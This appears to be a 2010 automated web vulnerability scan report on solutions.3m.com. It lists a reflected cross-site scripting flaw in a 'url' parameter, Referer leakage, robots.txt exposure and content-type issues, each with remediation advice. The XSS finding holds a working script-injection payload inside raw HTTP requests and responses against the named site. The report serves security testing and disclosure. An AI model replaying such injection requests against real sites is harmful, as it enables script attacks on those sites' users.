<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html> <head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name ...[SNIP]... <a href="http://solutions.3m.com/wps/portal/3M/es_US/Search/3M/?pl=7BC6E48B18005D658058DA7E7EA9508A&LC=en_US&type=cc66a59"><script>alert(1)</script>dee75608e5&gsaAction=scBR&pa=7BC6E48B18005D658058DA7E7EA9507A&co=cc&url=http%3A%2F%2Fsolutions.3m.com%2Fwps%2Fportal%2F3M%2Fen_US%2FWW2%2F&q=%60%7C%7C&btnG.x=0&btnG.y=0&btnG=Search"> ...[SNIP]...
The value of the url request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3597d"><script>alert(1)</script>481c7c0fd9f was submitted in the url parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wps/portal/3M/en_US/Search/3M/?pl=7BC6E48B18005D658058DA7E7EA9508A&LC=en_US&type=cc&gsaAction=scBR&pa=7BC6E48B18005D658058DA7E7EA9507A&co=cc&url=http%3A%2F%2Fsolutions.3m.com%2Fwps%2Fportal%2F3M%2Fen_US%2FWW2%2F3597d"><script>alert(1)</script>481c7c0fd9f&q=%60%7C%7C&btnG.x=0&btnG.y=0&btnG=Search HTTP/1.1 Host: solutions.3m.com Proxy-Connection: keep-alive Referer: http://solutions.3m.com/en_US/?WT.mc_id=www.3m.com/us Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: localePreference=http%3A%2F%2Fsolutions.3m.com%2Fwps%2Fportal%2F3M%2Fen_US%2FWW2%2FCountry%2F%3FWT.mc_id%3Dggp_redirect_en_US; ForeseeSurveyShown_jzaz6aHrDO=true; ForeseeLoyalty_MID_jzaz6aHrDO=6; WT_FPC=id=174.122.23.218-1935455696.30115224:lv=1289916872468:ss=1289916790837
Response
HTTP/1.1 200 OK Date: Tue, 16 Nov 2010 14:16:53 GMT Server: IBM_HTTP_Server Cache-Control: public Cache-Control: max-age=90000 Expires: Wed, 17 Nov 2010 15:16:53 GMT Vary: User-Agent,Cookie Served-By: Pyrite12 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Content-Length: 34816
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html> <head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name ...[SNIP]... /3M/es_US/Search/3M/?pl=7BC6E48B18005D658058DA7E7EA9508A&LC=en_US&type=cc&gsaAction=scBR&pa=7BC6E48B18005D658058DA7E7EA9507A&co=cc&url=http%3A%2F%2Fsolutions.3m.com%2Fwps%2Fportal%2F3M%2Fen_US%2FWW2%2F3597d"><script>alert(1)</script>481c7c0fd9f&q=%60%7C%7C&btnG.x=0&btnG.y=0&btnG=Search"> ...[SNIP]...
2. Cross-domain Referer leakagepreviousnext There are 2 instances of this issue:
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.
The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.
Issue remediation
The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.
Request
GET /robots.txt HTTP/1.0 Host: solutions.3m.com
Response
HTTP/1.1 200 OK Date: Tue, 16 Nov 2010 14:15:10 GMT Server: IBM_HTTP_Server Last-Modified: Thu, 05 Nov 2009 15:15:46 GMT ETag: "b28009-1f3-3399cc80" Accept-Ranges: bytes Content-Length: 499 Served-By: Pyrite12 Connection: close Content-Type: text/plain
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
var Prototype={Version:"1.6.0.2",Browser:{IE:!!(window.attachEvent&&!window.opera),Opera:!!window.opera,WebKit:navigator.userAgent.indexOf("AppleWebKit/")>-1,Gecko:navigator.userAgent.indexOf("Gecko") ...[SNIP]...
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
var Prototype={Version:"1.6.0.2",Browser:{IE:!!(window.attachEvent&&!window.opera),Opera:!!window.opera,WebKit:navigator.userAgent.indexOf("AppleWebKit/")>-1,Gecko:navigator.userAgent.indexOf("Gecko") ...[SNIP]...